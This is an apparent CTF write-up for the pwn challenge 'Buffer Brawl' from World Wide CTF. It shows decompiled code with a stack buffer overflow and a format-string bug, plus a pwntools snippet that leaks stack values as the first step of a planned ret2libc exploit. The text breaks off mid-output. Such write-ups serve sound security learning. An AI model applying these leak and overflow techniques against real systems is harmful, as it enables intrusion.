This year I competed in World Wide CTF and it was pretty fun! I’ve been practicing ROP lately, so I did almost exclusively pwn challenges. My writeups for those challenges are below. All Python snippets use pwntools, and all GDB snippets use pwndbg.
Buffer Brawl
For this challenge, the download is a single dynamically linked binary, without
any other files included. Stack canary and PIE protections mean that we’ll need
to leak pointers and the stack cookie before any ROP is possible. Some reverse
engineering shows that no “win” functions are present, so this will likely be a ret2libc
exploit. Our
main goals will be to leak the stack cookie and leak some libc pointers, after
that a ret2libc
attack should be trivial.
$ file buffer_brawl
buffer_brawl: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ca3d374a2d37899a2684d03c92f86a4addb524f4, for GNU/Linux 3.2.0, not stripped
$ pwn checksec buffer_brawl
[*] '/home/malcolm/wwctf/buffer_brawl/buffer_brawl'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/malcolm/wwctf/buffer_brawl'
Stripped: No
Buffer Brawl is a text-based boxing game, where you’re fighting with “the
stack”. You can jab
, hook
, or uppercut
to deal 1, 2, or 3 damage respectively.
You can slip
right or left to dodge a punch. And you can call off the fight.
After doing damage to the stack stack_check_up
is called. If the stack’s
health is at 13, it’ll let you input a finishing blow. This function has a
pretty obvious buffer overflow attack here, so this seems like where we’re going
to get our ROP chain.
void stack_check_up(void)
{
long in_FS_OFFSET;
char move [24];
long __stack_cookie;
__stack_cookie = *(long *)(in_FS_OFFSET + 0x28);
if (stack_life_points == 13) {
puts("\nThe stack got dizzy! Now it's your time to win!");
puts("Enter your move: ");
__isoc99_scanf("%s",move); // <<< BUFFER OVERFLOW
if (__stack_cookie == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
}
else {
if (stack_life_points < 1) {
puts("\nStack fainted! You're too brutal for it!");
/* WARNING: Subroutine does not return */
exit(0);
}
if (__stack_cookie == *(long *)(in_FS_OFFSET + 0x28)) {
printf("\nStack's life points: %d\n");
return;
}
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
We also discover that slip
has a format-string vulnerability, which should
allow us to leak data from the stack and give us an arbitrary read/write
primitive.
void slip(void)
{
long in_FS_OFFSET;
char move [40];
long __stack_cookie;
__stack_cookie = *(long *)(in_FS_OFFSET + 0x28);
puts("\nTry to slip...\nRight or left?");
read(0,move,29);
printf(move);
if (__stack_cookie == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
I’ll leak the stack via a format string and try to see what the offset is compared to GDB. We can use the code below to leak the stack and print it to the terminal:
io.sendline(b"4")
io.recvuntil(b"Right or left?\n")
io.sendline(b"%p" * 14)
stack = io.recvline(keepends=False)
stack = [
int(s, 16) for s in stack.replace(b"(nil)", b"0x0").replace(b"0x", b" ").split()
]
for i, s in enumerate(stack):
# i+1 because $ offsets start at 1
print(f"{i+1}: {p64(s)} {hex(s)}")
In the console, we get:
1: b'ÄXNü ' 0x7ffc4e58c410
2: b' ' 0x1d
3: b'!¬K%{